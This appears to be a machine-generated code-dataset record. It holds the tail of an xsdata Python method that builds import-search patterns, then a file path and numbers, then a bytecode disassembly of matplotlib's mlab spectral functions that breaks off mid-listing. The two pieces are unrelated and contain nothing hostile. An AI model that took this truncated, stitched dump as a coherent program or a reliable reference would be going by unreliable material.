build_import_patterns(cls) -> Dict[str, Dict]: """Build import search patterns.""" type_patterns = cls.build_type_patterns return { "dataclasses": {"dataclass": ["@dataclass"], "field": [" = field("]}, "decimal": {"Decimal": type_patterns("Decimal")}, "enum": {"Enum": ["(Enum)"]}, "typing": { "Dict": [": Dict"], "List": [": List["], "Optional": ["Optional["], "Tuple": ["Tuple["], "Type": ["Type["], "Union": ["Union["], "Any": type_patterns("Any"), }, "xml.etree.ElementTree": {"QName": type_patterns("QName")}, "xsdata.models.datatype": { "XmlDate": type_patterns("XmlDate"), "XmlDateTime": type_patterns("XmlDateTime"), "XmlDuration": type_patterns("XmlDuration"), "XmlPeriod": type_patterns("XmlPeriod"), "XmlTime": type_patterns("XmlTime"), }, } @classmethod def build_type_patterns(cls, x: str) -> Tuple: """Return all possible type occurrences in the generated code.""" return ( f": {x} =", f"[{x}]", f"[{x},", f" {x},", f" {x}]", f" {x}(", f" | {x}", f"{x} |", )
data/xsdata-24.2.1/xsdata/formats/dataclass/filters.py
14,652
9,002
112,149
LOAD_CONST "\nNumerical Python functions written for compatibility with MATLAB\ncommands with the same names. Most numerical Python functions can be found in\nthe `NumPy`_ and `SciPy`_ libraries. What remains here is code for performing\nspectral computations and kernel density estimations.\n\n.. _NumPy: https://numpy.org\n.. _SciPy: https://www.scipy.org\n\nSpectral functions\n------------------\n\n`cohere`\n Coherence (normalized cross spectral density)\n\n`csd`\n Cross spectral density using Welch's average periodogram\n\n`detrend`\n Remove the mean or best fit line from an array\n\n`psd`\n Power spectral density using Welch's average periodogram\n\n`specgram`\n Spectrogram (spectrum over segments of time)\n\n`complex_spectrum`\n Return the complex-valued frequency spectrum of a signal\n\n`magnitude_spectrum`\n Return the magnitude of the frequency spectrum of a signal\n\n`angle_spectrum`\n Return the angle (wrapped phase) of the frequency spectrum of a signal\n\n`phase_spectrum`\n Return the phase (unwrapped angle) of the frequency spectrum of a signal\n\n`detrend_mean`\n Remove the mean from a line.\n\n`detrend_linear`\n Remove the best fit line from a line.\n\n`detrend_none`\n Return the original line.\n" STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME functools STORE_NAME functools LOAD_CONST 0 LOAD_CONST ('Number',) IMPORT_NAME numbers IMPORT_FROM Number STORE_NAME Number POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('_api', '_docstring', 'cbook') IMPORT_NAME matplotlib IMPORT_FROM _api STORE_NAME _api IMPORT_FROM _docstring STORE_NAME _docstring IMPORT_FROM cbook STORE_NAME cbook POP_TOP LOAD_CONST <code object window_hanning at 0x7fab8231b390, file "f.py", line 58> LOAD_CONST 'window_hanning' MAKE_FUNCTION STORE_NAME window_hanning LOAD_CONST <code object window_none at 0x7fab8231bae0, file "f.py", line 69> LOAD_CONST 'window_none' MAKE_FUNCTION STORE_NAME window_none LOAD_CONST (None, None) LOAD_CONST <code object detrend at 0x7fa90e62bc90, file "f.py", line 80> LOAD_CONST 'detrend' MAKE_FUNCTION STORE_NAME detrend LOAD_CONST (None,) LOAD_CONST <code object detrend_mean at 0x7fa90e62b5d0, file "f.py", line 128> LOAD_CONST 'detrend_mean' MAKE_FUNCTION STORE_NAME detrend_mean LOAD_CONST (None,) LOAD_CONST <code object detrend_none at 0x7fa90e62bed0, file "f.py", line 156> LOAD_CONST 'detrend_none' MAKE_FUNCTION STORE_NAME detrend_none LOAD_CONST <code object detrend_linear at 0x7fa90e62b0c0, file "f.py", line 178> LOAD_CONST 'detrend_linear' MAKE_FUNCTION STORE_NAME detrend_linear LOAD_CONST (None, None, None, None, None, None, None, None, None, None) LOAD_CONST <code object _spectral_helper at 0x7fa90e62b540, file "f.py", line 210> LOAD_CONST '_spectral_helper' MAKE_FUNCTION STORE_NAME _spectral_helper LOAD_CONST (None, None, None, None) LOAD_CONST <code object _single_spectrum_helper at 0x7fa90e62bf60, file "f.py", line 357> LOAD_CONST '_single_spectrum_helper' MAKE_FUNCTION STORE_NAME _single_spectrum_helper LOAD_NAME _docstring LOAD_ATTR interpd LOAD_ATTR update LOAD_CONST "Fs : float, default: 2\n The sampling frequency (samples per time unit). It is used to calculate\n the Fourier frequencies, *freqs*, in cycles per time unit.\n\nwindow : callable or ndarray, default: `.window_hanning`\n A function or a vector of length *NFFT*. To create window vectors see\n `.window_hanning`, `.window_none`, `numpy.blackman`, `numpy.hamming`,\n `numpy.bartlett`, `scipy.signal`, `scipy.signal.get_window`, etc. If a\n function is passed as the argument, it must take a data segment as an\n argument and return the windowed version of the segment.\n\nsides : {'default', 'onesided', 'twosided'}, optional\n Which sides of the spectrum to return. 'default' is one-sided for real\n data and two-sided for complex data. 'onesided' forces the return of a\n one-sided spectrum, while 'twosided' forces two-sided." LOAD_CONST 'pad_to : int, optional\n The number of points to which the data segment is padded when performing\n the FFT. While not increasing the actual resolution of the spectrum (the\n minimum distance between resolvable peaks), this can give more points in\n the plot, allowing for more detail. This corresponds to the *n* parameter\n in the call to `~numpy.fft.fft`. The default is None, which sets *pad_to*\n equal to the length of the input signal (i.e. no padding).' LOAD_CONST "pad_to : int, optional\n The number of points to which the data segment is padded when performing\n the FFT. This can be different from *NFFT*, which specifies the number\n of data points used. While not increasing the actual resolution of the\n spectrum (the minimum distance between resolvable peaks), this can give\n more points in the plot, allowing for more detail. This corresponds to\n the *n* parameter in the call to `~numpy.fft.fft`. The default is None,\n which sets *pad_to* equal to *NFFT*\n\nNFFT : int, default: 256\n The number of data points used in each block for the FFT. A power 2 is\n most efficient. This should *NOT* be used to get zero padding, or the\n scaling of the result will be incorrect; use *pad_to* for this instead.\n\ndetrend : {'none', 'mean', 'linear'} or callable, default: 'none'\n The function applied to each segment before fft-ing, designed to remove\n the mean or linear trend. Unlike in MATLAB, where the *detrend* parameter\n is a vector, in Matplotlib it is a function. The :mod:`~matplotlib.mlab`\n module defines `.detrend_none`, `.detrend_mean`, and `.detrend_linear`,\n but you can use a custom function as well. You can also use a string to\n choose one of the functions: 'none' calls `.detrend_none`. 'mean' calls\n `.detrend_mean`. 'linear' calls `.detrend_linear`.\n\nscale_by_freq : bool, default: True\n Whether the resulting density values should be scaled by the scaling\n frequency, which gives density in units of 1/Hz. This allows for\n integration over the returned frequency values. The default is True for\n MATLAB compatibility." LOAD_CONST ('Spectral', 'Single_Spectrum', 'PSD') CALL_FUNCTION POP_TOP LOAD_NAME _docstring LOAD_ATTR dedent_interpd LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_CONST <code object psd at 0x7fab80068420, file "f.py", line 446> LOAD_CONST 'psd' MAKE_FUNCTION CALL_FUNCTION STORE_NAME psd LOAD_NAME _docstring LOAD_ATTR dedent_interpd LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_CONST <code object csd at 0x7fab80068d20, file "f.py", line 520> LOAD_CONST 'csd' MAKE_FUNCTION CALL_FUNCTION STORE_NAME csd LOAD_CONST 'Compute the {quantity} of *x*.\nData is padded to a length of *pad_to* and the windowing function *window* is\napplied to the signal.\n\nParameters\n----------\nx : 1-D array or sequence\n Array or sequence containing the data\n\n{Spectral}\n\n{Single_Spectrum}\n\nReturns\n-------\nspectrum : 1-D array\n The {quantity}.\nfreqs : 1-D array\n The frequencies corresponding to the elements in *spectrum*.\n\nSee Also\n--------\npsd\n Returns the power spectral density.\ncomplex_spectrum\n Returns the complex-valued frequency spectrum.\nmagnitude_spectrum\n Returns the absolute value of the `complex_spectrum`.\nangle_spectrum\n Returns the angle of the `complex_spectrum`.\nphase_spectrum\n Returns the phase (unwrapped angle) of the `complex_spectrum`.\nspecgram\n Can return the complex spectrum of segments within the signal.\n' STORE_NAME _single_spectrum_docs LOAD_NAME functools LOAD_METHOD partial LOAD_NAME _single_spectrum_helper LOAD_CONST 'complex' CALL_METHOD STORE_NAME complex_spectrum LOAD_NAME _single_spectrum_docs LOAD_ATTR format BUILD_TUPLE LOAD_CONST 'quantity' LOAD_CONST 'complex-valued frequency spectrum' BUILD_MAP LOAD_NAME _docstring LOAD_ATTR interpd LOAD_ATTR params BUILD_MAP CALL_FUNCTION LOAD_NAME complex_spectrum STORE_ATTR __doc__ LOAD_NAME functools LOAD_METHOD partial LOAD_NAME _single_spectrum_helper LOAD_CONST 'magnitude' CALL_METHOD STORE_NAME magnitude_spectrum LOAD_NAME _single_spectrum_docs LOAD_ATTR format BUILD_TUPLE LOAD_CONST 'quantity' LOAD_CONST 'magnitude (absolute value) of the frequency spectrum' BUILD_MAP LOAD_NAME _docstring LOAD_ATTR interpd LOAD_ATTR params BUILD_MAP CALL_FUNCTION LOAD_NAME magnitude_spectrum STORE_ATTR __doc__ LOAD_NAME functools LOAD_METHOD partial LOAD_NAME _single_spectrum_helper LOAD_CONST 'angle' CALL_METHOD STORE_NAME angle_spectrum LOAD_NAME _single_spectrum_docs LOAD_ATTR format BUILD_TUPLE LOAD_CONST 'quantity' LOAD_CONST 'angle of the frequency spectrum (wrapped phase spectrum)' BUILD_MAP LOAD_NAME _docstring LOAD_ATTR interpd LOAD_ATTR params BUILD_MAP CALL_FUNCTION LOAD_NAME angle_spectrum STORE_ATTR __doc__ LOAD_NAME functools LOAD_METHOD partial LOAD_NAME _single_spectrum_helper LOAD_CONST 'phase' CALL_METHOD STORE_NAME phase_spectrum LOAD_NAME _single_spectrum_docs LOAD_ATTR format BUILD_TUPLE LOAD_CONST 'quantity' LOAD_CONST 'phase of the frequency spectrum (unwrapped phase spectrum)' BUILD_MAP LOAD_NAME _docstring LOAD_ATTR interpd LOAD_ATTR params BUILD_MAP CALL_FUNCTION LOAD_NAME phase_spectrum STORE_ATTR __doc__ LOAD_NAME _docstring LOAD_ATTR dedent_interpd LOAD_CONST (None, None, None, None, None, None, None, None, None) LOAD_CONST <code object specgram at 0x7fab80068a50, file "f.py", line 661> LOAD_CONST 'specgram' MAKE_FUNCTION CALL_FUNCTION STORE_NAME specgram LOAD_NAME _docstring LOAD_ATTR dedent_interpd LOAD_CONST 256 LOAD_CONST 2 LOAD_NAME detrend_none LOAD_NAME window_hanning LOAD_CONST 0 LOAD_CONST None LOAD_CONST 'default' LOAD_CONST None BUILD_TUPLE LOAD_CONST <code object cohere at 0x7fab80068ed0, file "f.py", line 762> LOAD_CONST 'cohere' MAKE_FUNCTION CALL_FUNCTION STORE_NAME cohere LOAD_BUILD_CLASS LOAD_CONST <code object GaussianKDE at 0x7fab800689c0, file "f.py", line 822> LOAD_CONST 'GaussianKDE' MAKE_FUNCTION LOAD_CONST 'GaussianKDE' CALL_FUNCTION STORE_NAME GaussianKDE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD hanning LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION CALL_METHOD LOAD_FAST x BINARY_MULTIPLY RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_FAST key LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST key LOAD_CONST ('constant', 'mean', 'default') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL detrend LOAD_FAST x LOAD_GLOBAL detrend_mean LOAD_FAST axis LOAD_CONST ('key', 'axis') CALL_FUNCTION RETURN_VALUE LOAD_FAST key LOAD_CONST 'linear' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL detrend LOAD_FAST x LOAD_GLOBAL detrend_linear LOAD_FAST axis LOAD_CONST ('key', 'axis') CALL_FUNCTION RETURN_VALUE LOAD_FAST key LOAD_CONST 'none' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL detrend LOAD_FAST x LOAD_GLOBAL detrend_none LOAD_FAST axis LOAD_CONST ('key', 'axis') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL callable LOAD_FAST key CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST axis LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST axis LOAD_CONST 1 BINARY_ADD LOAD_FAST x LOAD_ATTR ndim COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'axis(=' LOAD_FAST axis FORMAT_VALUE LOAD_CONST ') out of bounds' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST axis LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST x LOAD_ATTR ndim LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST axis POP_JUMP_IF_TRUE LOAD_FAST x LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST key LOAD_FAST x CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 184 LOAD_FAST key LOAD_FAST x LOAD_FAST axis LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL np LOAD_ATTR apply_along_axis LOAD_FAST key LOAD_FAST axis LOAD_FAST x LOAD_CONST ('axis', 'arr') CALL_FUNCTION RETURN_VALUE END_FINALLY JUMP_FORWARD to 234 LOAD_GLOBAL ValueError LOAD_CONST 'Unknown value for key: ' LOAD_FAST key FORMAT_VALUE repr LOAD_CONST ", must be one of: 'default', 'constant', 'mean', 'linear', or a function" BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST axis LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST axis LOAD_CONST 1 BINARY_ADD LOAD_FAST x LOAD_ATTR ndim COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'axis(=%s) out of bounds' LOAD_FAST axis BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST x LOAD_FAST x LOAD_ATTR mean LOAD_FAST axis LOAD_CONST True LOAD_CONST ('keepdims',) CALL_FUNCTION BINARY_SUBTRACT RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST y CALL_METHOD STORE_FAST y LOAD_FAST y LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'y cannot have ndim > 1' CALL_FUNCTION RAISE_VARARGS LOAD_FAST y LOAD_ATTR ndim POP_JUMP_IF_TRUE LOAD_GLOBAL np LOAD_ATTR array LOAD_CONST 0.0 LOAD_FAST y LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL np LOAD_ATTR arange LOAD_FAST y LOAD_ATTR size LOAD_GLOBAL float LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST x LOAD_GLOBAL np LOAD_ATTR cov LOAD_FAST x LOAD_FAST y LOAD_CONST 1 LOAD_CONST ('bias',) CALL_FUNCTION STORE_FAST C LOAD_FAST C LOAD_CONST (0, 1) BINARY_SUBSCR LOAD_FAST C LOAD_CONST (0, 0) BINARY_SUBSCR BINARY_TRUE_DIVIDE STORE_FAST b LOAD_FAST y LOAD_METHOD mean CALL_METHOD LOAD_FAST b LOAD_FAST x LOAD_METHOD mean CALL_METHOD BINARY_MULTIPLY BINARY_SUBTRACT STORE_FAST a LOAD_FAST y LOAD_FAST b LOAD_FAST x BINARY_MULTIPLY LOAD_FAST a BINARY_ADD BINARY_SUBTRACT RETURN_VALUE LOAD_FAST y LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST same_data JUMP_FORWARD to 22 LOAD_FAST y LOAD_FAST x COMPARE_OP is STORE_FAST same_data LOAD_FAST Fs LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 2 STORE_FAST Fs LOAD_FAST noverlap LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST noverlap LOAD_FAST detrend_func LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL detrend_none STORE_FAST detrend_func LOAD_FAST window LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL window_hanning STORE_FAST window LOAD_FAST NFFT LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 256 STORE_FAST NFFT LOAD_FAST noverlap LOAD_FAST NFFT COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'noverlap must be less than NFFT' CALL_FUNCTION RAISE_VARARGS LOAD_FAST mode LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST mode LOAD_CONST 'default' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'psd' STORE_FAST mode LOAD_GLOBAL _api LOAD_ATTR check_in_list LOAD_CONST 'default' LOAD_CONST 'psd' LOAD_CONST 'complex' LOAD_CONST 'magnitude' LOAD_CONST 'angle' LOAD_CONST 'phase' BUILD_LIST LOAD_FAST mode LOAD_CONST ('mode',) CALL_FUNCTION POP_TOP LOAD_FAST same_data POP_JUMP_IF_TRUE LOAD_FAST mode LOAD_CONST 'psd' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST "x and y must be equal if mode is not 'psd'" CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST same_data POP_JUMP_IF_TRUE LOAD_GLOBAL np LOAD_METHOD asarray LOAD_FAST y CALL_METHOD STORE_FAST y LOAD_FAST sides LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST sides LOAD_CONST 'default' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD iscomplexobj LOAD_FAST x CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST 'twosided' STORE_FAST sides JUMP_FORWARD to 224 LOAD_CONST 'onesided' STORE_FAST sides LOAD_GLOBAL _api LOAD_ATTR check_in_list LOAD_CONST 'default' LOAD_CONST 'onesided' LOAD_CONST 'twosided' BUILD_LIST LOAD_FAST sides LOAD_CONST ('sides',) CALL_FUNCTION POP_TOP LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION LOAD_FAST NFFT COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION STORE_FAST n LOAD_GLOBAL np LOAD_METHOD resize LOAD_FAST x LOAD_FAST NFFT CALL_METHOD STORE_FAST x LOAD_CONST 0 LOAD_FAST x LOAD_FAST n LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST same_data EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST y CALL_FUNCTION LOAD_FAST NFFT COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST y CALL_FUNCTION STORE_FAST n LOAD_GLOBAL np LOAD_METHOD resize LOAD_FAST y LOAD_FAST NFFT CALL_METHOD STORE_FAST y LOAD_CONST 0 LOAD_FAST y LOAD_FAST n LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST pad_to LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST NFFT STORE_FAST pad_to LOAD_FAST mode LOAD_CONST 'psd' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST scale_by_freq JUMP_FORWARD to 386 LOAD_FAST scale_by_freq LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST scale_by_freq LOAD_FAST sides LOAD_CONST 'twosided' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pad_to STORE_FAST numFreqs LOAD_FAST pad_to LOAD_CONST 2 BINARY_MODULO EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pad_to LOAD_CONST 1 BINARY_SUBTRACT LOAD_CONST 2 BINARY_FLOOR_DIVIDE LOAD_CONST 1 BINARY_ADD STORE_FAST freqcenter JUMP_FORWARD to 436 LOAD_FAST pad_to LOAD_CONST 2 BINARY_FLOOR_DIVIDE STORE_FAST freqcenter LOAD_CONST 1.0 STORE_FAST scaling_factor JUMP_FORWARD to 492 LOAD_FAST sides LOAD_CONST 'onesided' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pad_to LOAD_CONST 2 BINARY_MODULO EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pad_to LOAD_CONST 1 BINARY_ADD LOAD_CONST 2 BINARY_FLOOR_DIVIDE STORE_FAST numFreqs JUMP_FORWARD to 488 LOAD_FAST pad_to LOAD_CONST 2 BINARY_FLOOR_DIVIDE LOAD_CONST 1 BINARY_ADD STORE_FAST numFreqs LOAD_CONST 2.0 STORE_FAST scaling_factor LOAD_GLOBAL np LOAD_METHOD iterable LOAD_FAST window CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST window LOAD_GLOBAL np LOAD_METHOD ones LOAD_FAST NFFT LOAD_FAST x LOAD_ATTR dtype CALL_METHOD CALL_FUNCTION STORE_FAST window LOAD_GLOBAL len LOAD_FAST window CALL_FUNCTION LOAD_FAST NFFT COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST "The window length must match the data's first dimension" CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_ATTR lib LOAD_ATTR stride_tricks LOAD_ATTR sliding_window_view LOAD_FAST x LOAD_FAST NFFT LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LOAD_CONST None LOAD_CONST None LOAD_FAST NFFT LOAD_FAST noverlap BINARY_SUBTRACT BUILD_SLICE BINARY_SUBSCR LOAD_ATTR T STORE_FAST result LOAD_GLOBAL detrend LOAD_FAST result LOAD_FAST detrend_func LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_FAST window LOAD_METHOD reshape LOAD_CONST (-1, 1) CALL_METHOD BINARY_MULTIPLY STORE_FAST result LOAD_GLOBAL np LOAD_ATTR fft LOAD_ATTR fft LOAD_FAST result LOAD_FAST pad_to LOAD_CONST 0 LOAD_CONST ('n', 'axis') CALL_FUNCTION LOAD_CONST None LOAD_FAST numFreqs BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST result LOAD_GLOBAL np LOAD_ATTR fft LOAD_METHOD fftfreq LOAD_FAST pad_to LOAD_CONST 1 LOAD_FAST Fs BINARY_TRUE_DIVIDE CALL_METHOD LOAD_CONST None LOAD_FAST numFreqs BUILD_SLICE BINARY_SUBSCR STORE_FAST freqs LOAD_FAST same_data EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL np LOAD_ATTR lib LOAD_ATTR stride_tricks LOAD_ATTR sliding_window_view LOAD_FAST y LOAD_FAST NFFT LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LOAD_CONST None LOAD_CONST None LOAD_FAST NFFT LOAD_FAST noverlap BINARY_SUBTRACT BUILD_SLICE BINARY_SUBSCR LOAD_ATTR T STORE_FAST resultY LOAD_GLOBAL detrend LOAD_FAST resultY LOAD_FAST detrend_func LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST resultY LOAD_FAST resultY LOAD_FAST window LOAD_METHOD reshape LOAD_CONST (-1, 1) CALL_METHOD BINARY_MULTIPLY STORE_FAST resultY LOAD_GLOBAL np LOAD_ATTR fft LOAD_ATTR fft LOAD_FAST resultY LOAD_FAST pad_to LOAD_CONST 0 LOAD_CONST ('n', 'axis') CALL_FUNCTION LOAD_CONST None LOAD_FAST numFreqs BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST resultY LOAD_GLOBAL np LOAD_METHOD conj LOAD_FAST result CALL_METHOD LOAD_FAST resultY BINARY_MULTIPLY STORE_FAST result JUMP_FORWARD to 898 LOAD_FAST mode LOAD_CONST 'psd' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD conj LOAD_FAST result CALL_METHOD LOAD_FAST result BINARY_MULTIPLY STORE_FAST result JUMP_FORWARD to 898 LOAD_FAST mode LOAD_CONST 'magnitude' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST result CALL_METHOD LOAD_FAST window LOAD_METHOD sum CALL_METHOD BINARY_TRUE_DIVIDE STORE_FAST result JUMP_FORWARD to 898 LOAD_FAST mode LOAD_CONST 'angle' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST mode LOAD_CONST 'phase' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD angle LOAD_FAST result CALL_METHOD STORE_FAST result JUMP_FORWARD to 898 LOAD_FAST mode LOAD_CONST 'complex' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST result LOAD_FAST window LOAD_METHOD sum CALL_METHOD INPLACE_TRUE_DIVIDE STORE_FAST result LOAD_FAST mode LOAD_CONST 'psd' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST NFFT LOAD_CONST 2 BINARY_MODULO EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL slice LOAD_CONST 1 LOAD_CONST -1 LOAD_CONST None CALL_FUNCTION STORE_FAST slc JUMP_FORWARD to 944 LOAD_GLOBAL slice LOAD_CONST 1 LOAD_CONST None LOAD_CONST None CALL_FUNCTION STORE_FAST slc LOAD_FAST result LOAD_FAST slc DUP_TOP BINARY_SUBSCR LOAD_FAST scaling_factor INPLACE_MULTIPLY ROT_THREE STORE_SUBSCR LOAD_FAST scale_by_freq EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST result LOAD_FAST Fs INPLACE_TRUE_DIVIDE STORE_FAST result LOAD_FAST result LOAD_FAST window LOAD_CONST 2 BINARY_POWER LOAD_METHOD sum CALL_METHOD INPLACE_TRUE_DIVIDE STORE_FAST result JUMP_FORWARD to 1008 LOAD_FAST result LOAD_FAST window LOAD_METHOD sum CALL_METHOD LOAD_CONST 2 BINARY_POWER INPLACE_TRUE_DIVIDE STORE_FAST result LOAD_GLOBAL np LOAD_METHOD arange LOAD_FAST NFFT LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION LOAD_FAST NFFT LOAD_CONST 2 BINARY_TRUE_DIVIDE BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD LOAD_FAST NFFT LOAD_FAST noverlap BINARY_SUBTRACT CALL_METHOD LOAD_FAST Fs BINARY_TRUE_DIVIDE STORE_FAST t LOAD_FAST sides LOAD_CONST 'twosided' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR roll LOAD_FAST freqs LOAD_FAST freqcenter UNARY_NEGATIVE LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST freqs LOAD_GLOBAL np LOAD_ATTR roll LOAD_FAST result LOAD_FAST freqcenter UNARY_NEGATIVE LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result JUMP_FORWARD to 1124 LOAD_FAST pad_to LOAD_CONST 2 BINARY_MODULO EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST freqs LOAD_CONST -1 DUP_TOP BINARY_SUBSCR LOAD_CONST -1 INPLACE_MULTIPLY ROT_THREE STORE_SUBSCR LOAD_FAST mode LOAD_CONST 'phase' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR unwrap LOAD_FAST result LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_FAST freqs LOAD_FAST t BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL _api LOAD_ATTR check_in_list LOAD_CONST 'complex' LOAD_CONST 'magnitude' LOAD_CONST 'angle' LOAD_CONST 'phase' BUILD_LIST LOAD_FAST mode LOAD_CONST ('mode',) CALL_FUNCTION POP_TOP LOAD_FAST pad_to LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION STORE_FAST pad_to LOAD_GLOBAL _spectral_helper LOAD_FAST x LOAD_CONST None LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION LOAD_FAST Fs LOAD_GLOBAL detrend_none LOAD_FAST window LOAD_CONST 0 LOAD_FAST pad_to LOAD_FAST sides LOAD_CONST False LOAD_FAST mode LOAD_CONST ('x', 'y', 'NFFT', 'Fs', 'detrend_func', 'window', 'noverlap', 'pad_to', 'sides', 'scale_by_freq', 'mode') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST spec STORE_FAST freqs STORE_FAST _ LOAD_FAST mode LOAD_CONST 'complex' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST spec LOAD_ATTR real STORE_FAST spec LOAD_FAST spec LOAD_ATTR ndim LOAD_CONST 2 